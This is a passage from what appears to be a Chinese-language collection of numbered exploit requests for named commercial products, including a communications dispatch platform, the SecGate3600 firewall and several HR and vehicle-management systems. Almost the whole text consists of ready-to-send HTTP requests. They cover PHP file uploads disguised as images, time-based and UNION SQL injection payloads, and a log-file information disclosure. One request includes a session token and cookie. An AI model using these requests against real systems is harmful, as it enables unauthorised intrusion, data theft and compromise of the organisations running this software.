Content-Type: multipart/form-data; boundary=----WebKitFormBoundary25qW4eG1Jt50iyf7

------WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Disposition: form-data; name="uuid"
```

```
1
------WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Disposition: form-data; name="number"

122
------WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Disposition: form-data; name="uploadfile";filename="21.php"
Content-Type: image/jpg

<?php echo md5('1'); unlink(__FILE__); ?>
------WebKitFormBoundary25qW4eG1Jt50iyf7--
```

278.福建科立讯通信指挥调度平台多个接口存在漏洞 upload.php 任意文件上传

```
POST /api/client/upload.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySwvD8hSn3Z0sHfMu
Connection: close

------WebKitFormBoundarySwvD8hSn3Z0sHfMu
Content-Disposition: form-data; name="ulfile";filename="1.php"
Content-Type: image/png

<?php echo md5('1'); unlink(__FILE__); ?>
------WebKitFormBoundarySwvD8hSn3Z0sHfMu--
```

279.福建科立讯通信指挥调度平台多个接口存在漏洞 get_extension_yl.php 存在 SQL 注入漏洞

```
GET
/api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(1)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: {{Hostname}}
```

280.网神 SecGate3600 防火墙 libcommon 信息泄露漏洞

```
GET /attachements/libcommon.log HTTP/1.1
Host:
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-HK;q=0.9,zh;q=0.8
Connection: close
```

281.同鑫 T9eHR 信息化管理系统 GetFlowDropDownListItems 存在 SQL 注入漏洞

```
POST /Common/GetFlowDropDownListItems HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: /
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 33

FixedFormCode=1%27+UNION+ALL+SELECT+NULL%2CCHAR%28113%29%2BCHAR%28106%29%2BCHAR%28113%29%2BCHAR%28118%29%2BCHAR%28113%29%2BCHAR%28109%29%2BCHAR%28107%29%2BCHAR%2886%29%2BCHAR%2897%29%2BCHAR%2897%29%2BCHAR%28115%29%2BCHAR%28107%29%2BCHAR%2879%29%2BCHAR%28111%29%2BCHAR%2898%29%2BCHAR%2871%29%2BCHAR%2871%29%2BCHAR%2876%29%2BCHAR%2865%29%2BCHAR%2868%29%2BCHAR%28103%29%2BCHAR%2880%29%2BCHAR%28106%29%2BCHAR%28112%29%2BCHAR%2871%29%2BCHAR%28114%29%2BCHAR%2898%29%2BCHAR%2873%29%2BCHAR%28112%29%2BCHAR%28115%29%2BCHAR%2882%29%2BCHAR%28112%29%2BCHAR%28116%29%2BCHAR%2889%29%2BCHAR%28120%29%2BCHAR%2884%29%2BCHAR%28104%29%2BCHAR%2881%29%2BCHAR%28121%29%2BCHAR%28119%29%2BCHAR%28108%29%2BCHAR%28117%29%2BCHAR%28111%29%2BCHAR%28120%29%2BCHAR%28117%29%2BCHAR%28113%29%2BCHAR%28118%29%2BCHAR%28106%29%2BCHAR%28106%29%2BCHAR%28113%29--+AHRN
```

282.锐明 Crocus 系统存在 SQL 注入漏洞

```
POST /RepairRecord.do?Action=QueryLast HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: /
Connection: close
Token: c3RyZWFtYXgyMDAyMDgxODoxNzI0NjM2OTQyMTA0Ljg4NDU=
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie:
Saffron.U=VUlEPTEmVU49c3RyZWFtYXgyMDAyMDgxOCZHSUQ9MTcyNDYzNjk0MjEwNC44ODQ1MTQmUklEPTEmTT1CTWFwJklOUz0x
Content-Length: 218

EndTime=2024-06-19+23%3A59%3A59&FaultType=&Field=&GroupId=&PageIndex=0&PageSize=50&RepairState=-1&StartTime=2024-06-19+00%3A00%3A00&UserName=&Value=&VehicleId=&orderField=(select*from(select%0asleep(8))a)&orderType=asc
```

283.朗新天霁智能 eHR 人力资源管理系统 GetE01ByDeptCode 存在 SQL 注入漏洞

```
POST /api/Com/GetE01ByDeptCode HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Connection: close

{"deptCode":"1') AND 8104=8104 AND ('UCOF'='UCOF"}
```